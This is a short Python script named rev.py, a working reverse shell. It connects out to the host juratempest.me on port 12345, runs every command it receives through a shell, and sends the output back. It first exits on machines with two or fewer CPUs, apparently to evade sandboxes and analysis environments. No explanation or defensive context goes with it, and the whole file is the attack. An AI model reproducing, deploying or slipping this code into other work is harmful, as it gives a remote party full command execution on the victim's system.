rev.py

import os
import socket
import subprocess


if os.cpu_count() <= 2:
  quit()

HOST = 'juratempest.me'
PORT = 12345

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(str.encode("[*] Connection Established!"))

while 1:
  try:
    s.send(str.encode(os.getcwd() + "> "))
    data = s.recv(1024).decode("UTF-8")
    data = data.strip('\n')
    if data == "quit":
      break
    if data[:2] == "cd":
      os.chdir(data[3:])
    if len(data) > 0:
      proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                              stderr=subprocess.PIPE, stdin=subprocess.PIPE)
      stdout_value = proc.stdout.read() + proc.stderr.read()
      output_str = str(stdout_value, "UTF-8")
      s.send(str.encode("\n" + output_str))
  except Exception as e:
    continue

s.close()